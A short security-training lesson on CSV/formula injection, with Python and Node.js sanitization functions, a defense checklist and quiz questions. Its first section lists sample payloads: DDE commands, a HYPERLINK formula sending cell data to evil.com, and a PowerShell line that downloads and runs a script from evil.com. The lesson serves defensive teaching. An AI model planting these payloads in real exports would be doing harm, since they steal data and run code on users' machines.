Skip to main content

Free 30-min security demo  — We'll scan your real code and show live findings, no commitment Book Now

Offensive360
Academy CSV/Formula Injection
Beginner · 15 min

CSV/Formula Injection

Understand how spreadsheet formulas injected via CSV exports can execute commands on end-user machines.

1 Formula Injection in Excel and Google Sheets

When web applications export user-supplied data to CSV files, spreadsheet software like Excel or Google Sheets may interpret cell values beginning with =, +, -, or @ as formulas. This is known as CSV/Formula injection or DDE injection.

Dangerous cell values:

=CMD|" /C calc"!A0
=HYPERLINK("http://evil.com/steal?data="&A1,"Click here")
+cmd|"/C powershell IEX(new-object net.webclient).downloadstring('http://evil.com/shell.ps1')"!A0
@SUM(1+1)*cmd|" /C calc"!A0

When a user opens the exported CSV in Excel, the formula executes. Older Excel versions with DDE enabled can launch arbitrary system commands without user interaction.

Even in modern spreadsheets, =HYPERLINK() can exfiltrate data from adjacent cells when clicked.

2 Prevention

The fix is to sanitize cell values before writing them to CSV output. Any value beginning with =, +, -, or @ should be prefixed with a tab, space, or apostrophe to prevent formula interpretation.

Sanitization function (Python):

def sanitize_csv_cell(value):
    value = str(value)
    if value and value[0] in ("=", "+", "-", "@", "\t", "\r"):
        value = "\t" + value  # Prefix with tab to neutralize
    return value

# Apply to all user-controlled fields before CSV export
row = [sanitize_csv_cell(field) for field in user_data]

Node.js example:

function sanitizeCsvCell(value) {
  const s = String(value);
  if (s.match(/^[=+\-@]|^\t|^\r/)) {
    return "\t" + s;
  }
  return s;
}

Defense checklist:

  • Prefix dangerous-starting cells with a tab or apostrophe
  • Apply sanitization to ALL user-supplied data in CSV exports
  • Consider wrapping all string fields in double quotes
  • Warn users opening downloaded files about enabling macros

Knowledge Check

0/3 correct
Q1

Which characters at the start of a CSV cell trigger formula evaluation in spreadsheet apps?

Q2

How can DDE-based CSV injection affect an end user?

Q3

What is the recommended sanitization technique for CSV cells?

Code Exercise

Sanitize CSV Export

The function below exports user data to CSV without sanitization. Add a sanitizeCsvCell function that prefixes dangerous-starting values with a tab character.

javascript